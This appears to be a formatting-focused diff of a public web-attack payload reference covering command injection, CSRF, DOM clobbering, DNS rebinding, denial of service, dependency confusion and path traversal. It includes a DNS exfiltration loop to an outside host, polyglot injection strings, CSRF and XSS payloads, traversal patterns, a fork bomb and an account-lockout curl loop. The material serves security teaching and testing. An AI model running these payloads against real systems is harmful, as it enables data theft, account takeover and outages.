   for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
   ```
 
 Online tools to check for DNS based data exfiltration:
 
-- http://dnsbin.zhack.ca/
+* [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
-- https://app.interactsh.com/
+* [app.interactsh.com](https://app.interactsh.com)
-- Burp Collaborator
+* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)
-
 
 ## Polyglot Command Injection
 
 A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
 
 * Example 1:
+
   ```powershell
   Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 
@@ -387,7 +413,9 @@ A polyglot is a piece of code that is valid and executable in multiple programmi
   echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
   echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
   ```
-* Example 2: 
+
+* Example 2:
+
   ```powershell
   Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
 
@@ -397,7 +425,6 @@ A polyglot is a piece of code that is valid and executable in multiple programmi
   echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
   ```
 
-
 ## Tricks
 
 ### Backgrounding Long Running Commands
@@ -413,7 +440,6 @@ nohup sleep 120 > /dev/null &
 
 In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
 
-
 ## Labs
 
 * [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
@@ -436,15 +462,15 @@ g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
 
 **NOTE**: The command is safe to run, but you should not trust me.
 
-
 ## References
 
-- [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
+* [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://web.archive.org/web/20250306133700/https://staaldraad.github.io/post/2019-11-24-argument-injection/)
-- [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
+* [Argument Injection Vectors - SonarSource - February 21, 2023](https://web.archive.org/web/20251211212046/https://sonarsource.github.io/argument-injection-vectors/)
-- [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
+* [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://web.archive.org/web/20140714140437/http://www.exploit-db.com/papers/33930)
-- [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
+* [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://web.archive.org/web/20241202133053/https://twitter.com/DissectMalware/status/1025604382644232192)
-- [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
+* [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
-- [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
+* [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://web.archive.org/web/20220428000241/https://twitter.com/asdizzle_/status/895244943526170628)
-- [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
+* [OS Command Injection - PortSwigger - 2024](https://web.archive.org/web/20190330193912/https://portswigger.net/web-security/os-command-injection)
-- [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
+* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://web.archive.org/web/20250108174818/https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
-- [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
+* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
+* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://web.archive.org/web/20250109163006/https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)

Cross-Site Request Forgery/README.md

@@ -2,7 +2,6 @@
 
 > Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -18,33 +17,28 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Tools
 
 * [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
 
-
 ## Methodology
 
 ![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)
 
 When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
 
-
 ### HTML GET - Requiring User Interaction
 
 ```html
 <a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
 ```
 
-
 ### HTML GET - No User Interaction
 
 ```html
 <img src="http://www.example.com/api/setusername?username=CSRFd">
 ```
 
-
 ### HTML POST - Requiring User Interaction
 
 ```html
@@ -54,7 +48,6 @@ When you are logged in to a certain site, you typically have a session. The iden
 </form>
 ```
 
-
 ### HTML POST - AutoSubmit - No User Interaction
 
 ```html
@@ -68,7 +61,6 @@ When you are logged in to a certain site, you typically have a session. The iden
 </script>
 ```
 
-
 ### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
 
 ```html
@@ -90,7 +82,6 @@ function launch(){
 <button value="button" onclick="launch()">Submit Request</button>
 ```
 
-
 ### JSON GET - Simple Request
 
 ```html
@@ -101,7 +92,6 @@ xhr.send();
 </script>
 ```
 
-
 ### JSON POST - Simple Request
 
 With XHR :
@@ -143,7 +133,6 @@ xhr.send('{"role":admin}');
 </script>
 ```
 
-
 ## Labs
 
 * [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
@@ -155,20 +144,19 @@ xhr.send('{"role":admin}');
 * [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
 * [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
 
-
 ## References
 
-- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
+* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://web.archive.org/web/20220926223539/https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
-- [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
+* [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://web.archive.org/web/20120920091432/https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
-- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
+* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://web.archive.org/web/20170919181010/https://whitton.io/articles/messenger-site-wide-csrf/)
-- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
+* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial - 19 July 2016](https://web.archive.org/web/20170607102958/https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
-- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
+* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali - 2014/10/09](https://web.archive.org/web/20141203184956/http://yasserali.com/hacking-paypal-accounts-with-one-click/)
-- [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://hackerone.com/reports/100820)
+* [Add tweet to collection CSRF - Vijay Kumar (indoappsec) - November 21, 2015](https://web.archive.org/web/20250519092910/https://hackerone.com/reports/100820)
-- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
+* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd - October 16, 2015](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
-- [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
+* [How I Hacked Your Beats Account? Apple Bug Bounty - @aaditya_purani - 2016/07/20](https://web.archive.org/web/20250504102847/https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
-- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://hackerone.com/reports/245346)
+* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Eugene Yakovchuk - July 2, 2017](https://web.archive.org/web/20180102010752/https://hackerone.com/reports/245346)
-- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
+* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration - Josip Franjkovic - January 15th, 2018](https://web.archive.org/web/20260208211335/https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
-- [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
+* [Cross Site Request Forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](https://web.archive.org/web/20250906213239/https://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
-- [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://www.youtube.com/watch?v=eWEgUcHPle0)
+* [Cross-Site Request Forgery Attack - PwnFunction - 5 Apr. 2019](https://web.archive.org/web/20251127000352/https://www.youtube.com/watch?v=eWEgUcHPle0)
-- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
+* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://web.archive.org/web/20250727045637/https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
-- [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
+* [Bypass Referer Check Logic for CSRF - hahwul - Oct 11, 2019](https://web.archive.org/web/20250719144921/https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

DISCLAIMER.md

@@ -0,0 +1,11 @@
+# DISCLAIMER
+
+The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization.
+
+By accessing and using this repository, you agree to:
+
+* Refrain from using the provided information for any unethical or illegal activities.
+* Ensure that all testing and experimentation are conducted responsibly and with proper authorization.
+* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility.
+
+Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law.

DNS Rebinding/README.md

@@ -8,18 +8,16 @@
 * [Methodology](#methodology)
 * [Protection Bypasses](#protection-bypasses)
     * [0.0.0.0](#0000)
-    * [CNAME](#CNAME)
+    * [CNAME](#cname)
     * [localhost](#localhost)
 * [References](#references)
 
-
 ## Tools
 
-- [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. 
+* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
-- [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
+* [rebind.it](http://rebind.it/) - Singularity of Origin Web Client.
-- [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
+* [taviso/rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service
-- [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
+* [taviso/rebinder](https://lock.cmpxchg8b.com/rebinder.html) - rbndr Tool Helper
-
 
 ## Methodology
 
@@ -50,16 +48,14 @@ The browser treats subsequent responses as coming from the same origin (`malicio
 
 Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.
 
-
 **Example:**
 
 1. Register a domain.
 2. [Setup Singularity of Origin](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).
 3. Edit the [autoattack HTML page](https://github.com/nccgroup/singularity/blob/master/html/autoattack.html) for your needs.
-4. Browse to "http://rebinder.your.domain:8080/autoattack.html".
+4. Browse to `http://rebinder.your.domain:8080/autoattack.html`.
 5. Wait for the attack to finish (it can take few seconds/minutes).
 
-
 ## Protection Bypasses
 
 > Most DNS protections are implemented in the form of blocking DNS responses containing unwanted IP addresses at the perimeter, when DNS responses enter the internal network. The most common form of protection is to block private IP addresses as defined in RFC 1918 (i.e. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.
@@ -95,7 +91,6 @@ $ dig www.example.com +noall +answer
 localhost.example.com.            381     IN      CNAME   localhost.
 ```
 
-
 ## References
 
-- [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)
+* [How Do DNS Rebinding Attacks Work? - nccgroup - Apr 9, 2019](https://github.com/nccgroup/singularity/wiki/How-Do-DNS-Rebinding-Attacks-Work%3F)

DOM Clobbering/README.md

@@ -6,22 +6,21 @@
 
 - [Tools](#tools)
 - [Methodology](#methodology)
-- [Lab](#lab)
+- [Labs](#labs)
 - [References](#references)
 
-
 ## Tools
 
 - [SoheilKhodayari/DOMClobbering](https://domclob.xyz/domc_markups/list) - Comprehensive List of DOM Clobbering Payloads for Mobile and Desktop Web Browsers
 - [yeswehack/Dom-Explorer](https://github.com/yeswehack/Dom-Explorer) - A web-based tool designed for testing various HTML parsers and sanitizers.
 - [yeswehack/Dom-Explorer Live](https://yeswehack.github.io/Dom-Explorer/dom-explorer#eyJpbnB1dCI6IiIsInBpcGVsaW5lcyI6W3siaWQiOiJ0ZGpvZjYwNSIsIm5hbWUiOiJEb20gVHJlZSIsInBpcGVzIjpbeyJuYW1lIjoiRG9tUGFyc2VyIiwiaWQiOiJhYjU1anN2YyIsImhpZGUiOmZhbHNlLCJza2lwIjpmYWxzZSwib3B0cyI6eyJ0eXBlIjoidGV4dC9odG1sIiwic2VsZWN0b3IiOiJib2R5Iiwib3V0cHV0IjoiaW5uZXJIVE1MIiwiYWRkRG9jdHlwZSI6dHJ1ZX19XX1dfQ==) - Reveal how browsers parse HTML and find mutated XSS vulnerabilities
 
-
 ## Methodology
 
 Exploitation requires any kind of `HTML injection` in the page.
 
-* Clobbering `x.y.value`
+- Clobbering `x.y.value`
+
     ```html
     // Payload
     <form id=x><output id=y>I've been clobbered</output>
@@ -30,7 +29,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     <script>alert(x.y.value);</script>
     ```
 
-* Clobbering `x.y` using ID and name attributes together to form a DOM collection
+- Clobbering `x.y` using ID and name attributes together to form a DOM collection
+
     ```html
     // Payload
     <a id=x><a id=x name=y href="Clobbered">
@@ -39,7 +39,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     <script>alert(x.y)</script>
     ```
 
-* Clobbering `x.y.z` - 3 levels deep
+- Clobbering `x.y.z` - 3 levels deep
+
     ```html
     // Payload
     <form id=x name=y><input id=z></form>
@@ -49,7 +50,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     <script>alert(x.y.z)</script>
     ```
 
-* Clobbering `a.b.c.d` - more than 3 levels
+- Clobbering `a.b.c.d` - more than 3 levels
+
     ```html
     // Payload
     <iframe name=a srcdoc="
@@ -60,7 +62,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     <script>alert(a.b.c.d)</script>
     ```
 
-* Clobbering `forEach` (Chrome only)
+- Clobbering `forEach` (Chrome only)
+
     ```html
     // Payload
     <form id=x>
@@ -72,7 +75,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     <script>x.y.forEach(element=>alert(element))</script>
     ```
 
-* Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
+- Clobbering `document.getElementById()` using `<html>` or `<body>` tag with the same `id` attribute
+
     ```html
     // Payloads
     <html id="cdnDomain">clobbered</html>
@@ -85,7 +89,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     </script>
     ```
 
-* Clobbering `x.username`
+- Clobbering `x.username`
+
     ```html
     // Payload
     <a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
@@ -97,7 +102,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     </script>
     ```
 
-* Clobbering (Firefox only)
+- Clobbering (Firefox only)
+
     ```html
     // Payload
     <base href=a:abc><a id=x href="Firefox<>">
@@ -108,7 +114,8 @@ Exploitation requires any kind of `HTML injection` in the page.
     </script>
     ```
 
-* Clobbering (Chrome only)
+- Clobbering (Chrome only)
+
     ```html
     // Payload
     <base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
@@ -119,23 +126,20 @@ Exploitation requires any kind of `HTML injection` in the page.
     </script>
     ```
 
-
 ## Tricks
 
-* DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
+- DomPurify allows the protocol `cid:`, which doesn't encode double quote (`"`): `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`
 
-
+## Labs
-## Lab
 
 - [PortSwigger - Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
 - [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
 - [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
 
-
 ## References
 
-- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
+- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://web.archive.org/web/20251114182213/https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
-- [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
+- [DOM Clobbering - HackTricks - January 27, 2023](https://web.archive.org/web/20241215205040/https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
-- [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
+- [DOM Clobbering - PortSwigger - September 25, 2020](https://web.archive.org/web/20260218083100/https://portswigger.net/web-security/dom-based/dom-clobbering)
-- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
+- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://web.archive.org/web/20200224065316/https://portswigger.net/research/dom-clobbering-strikes-back)
-- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
+- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://web.archive.org/web/20260123013910/https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

Denial of Service/README.md

@@ -2,7 +2,6 @@
 
 > A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
 
-
 ## Summary
 
 * [Methodology](#methodology)
@@ -11,27 +10,25 @@
     * [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
 * [References](#references)
 
-
 ## Methodology
 
 Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
 
-
 ### Locking Customer Accounts
 
-Example of Denial of Service that can occur when testing customer accounts. 
+Example of Denial of Service that can occur when testing customer accounts.
 Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
 
 * Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
+
     ```ps1
     for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
     ```
 
-
 ### File Limits on FileSystem
 
 When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
- 
+
 | Filesystem | Maximum Inodes |
 | ---        | --- |
 | BTRFS      | 2^64 (~18 quintillion) |
@@ -47,12 +44,12 @@ FAT32 has a significant limitation of **4 GB**, which is why it's often replaced
 
 Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
 
-
 ### Memory Exhaustion - Technology Related
 
 Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
 
 * **XML External Entity**: Billion laughs attack/XML bomb
+
     ```xml
     <?xml version="1.0"?>
     <!DOCTYPE lolz [
@@ -70,7 +67,9 @@ Depending on the technology used by the website, an attacker may have the abilit
     ]>
     <lolz>&lol9;</lolz>
     ```
+
 * **GraphQL**: Deeply-nested GraphQL queries.
+
     ```ps1
     query { 
         repository(owner:"rails", name:"rails") {
@@ -86,12 +85,17 @@ Depending on the technology used by the website, an attacker may have the abilit
         }
     }
     ```
+
 * **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
 * **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
 * **Regular Expression**: ReDoS
+* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
 
+    ```ps1
+    :(){ :|:& };:
+    ```
 
 ## References
 
-- [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
+* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://web.archive.org/web/20241115121102/https://youtu.be/b7WlUofPJpU)
-- [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
+* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://web.archive.org/web/20260303124303/https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)

Dependency Confusion/README.md

@@ -1,41 +1,39 @@
-# Dependency Confusion
+# Dependency Confusion
-
+
-> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
+> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
-
+
-## Summary
+## Summary
-
+
-* [Tools](#tools)
+* [Tools](#tools)
-* [Methodology](#methodology)
+* [Methodology](#methodology)
-    * [NPM Example](#npm-example)
+    * [NPM Example](#npm-example)
-* [References](#references)
+* [References](#references)
-
+
-
+## Tools
-## Tools
+
-
+* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
-* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems 
+* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
-
+
-
+## Methodology
-## Methodology
+
-
+Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
-Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
+
-
+* **DockerHub**: Dockerfile image
-* DockerHub: Dockerfile image
+* **JavaScript** (npm): package.json
-* JavaScript (npm): package.json
+* **MVN** (maven): pom.xml
-* MVN (maven): pom.xml
+* **PHP** (composer): composer.json
-* PHP (composer): composer.json
+* **Python** (pypi): requirements.txt
-* Python (pypi): requirements.txt
+
-
+### NPM Example
-### NPM Example
+
-
+* List all the packages (ie: package.json, composer.json, ...)
-* List all the packages (ie: package.json, composer.json, ...)
+* Find the package missing from [www.npmjs.com](https://www.npmjs.com/)
-* Find the package missing from https://www.npmjs.com/
+* Register and create a **public** package with the same name
-* Register and create a **public** package with the same name
+    * Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)
-    * Package example : https://github.com/0xsapra/dependency-confusion-expoit
+
-
+## References
-
+
-## References
+* [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://web.archive.org/web/20251107024922/https://0xsapra.github.io/website/Exploiting-Dependency-Confusion)
-
+* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://web.archive.org/web/20210209181139/https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
-- [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
+* [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
-- [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
+* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://web.archive.org/web/20210223060107/https://www.youtube.com/watch?v=zFHJwehpBrU)
-- [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
-- [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)

Directory Traversal/Intruder/traversals-8-deep-exotic-encoding.txt

@@ -877,11 +877,11 @@
 /..\..\\..\..\\..\..\\\{FILE}
 /..\..\\..\..\\..\..\\..\\\{FILE}
 /..\..\\..\..\\..\..\\..\..\\\{FILE}
-/\..%2f
+/\..%2f{FILE}
-/\..%2f\..%2f
+/\..%2f\..%2f{FILE}
-/\..%2f\..%2f\..%2f
+/\..%2f\..%2f\..%2f{FILE}
-/\..%2f\..%2f\..%2f\..%2f
+/\..%2f\..%2f\..%2f\..%2f{FILE}
-/\..%2f\..%2f\..%2f\..%2f\..%2f
+/\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
-/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
+/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
-/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
+/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
 /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}

Directory Traversal/README.md

@@ -15,7 +15,7 @@
     * [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
 * [Exploit](#exploit)
     * [UNC Share](#unc-share)
-    * [ASPNET Cookieless](#aspnet-cookieless)
+    * [ASPNET Cookieless](#asp-net-cookieless)
